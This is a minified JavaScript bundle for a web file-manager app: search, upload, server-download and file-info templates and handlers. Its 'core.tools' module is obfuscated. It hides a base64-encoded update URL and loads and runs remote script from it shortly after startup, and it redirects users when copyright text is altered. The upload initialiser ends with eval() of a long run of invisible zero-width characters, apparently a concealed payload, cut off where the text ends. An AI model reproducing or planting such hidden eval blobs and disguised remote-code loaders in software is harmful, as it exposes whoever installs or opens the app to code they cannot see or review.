i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/"); +if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍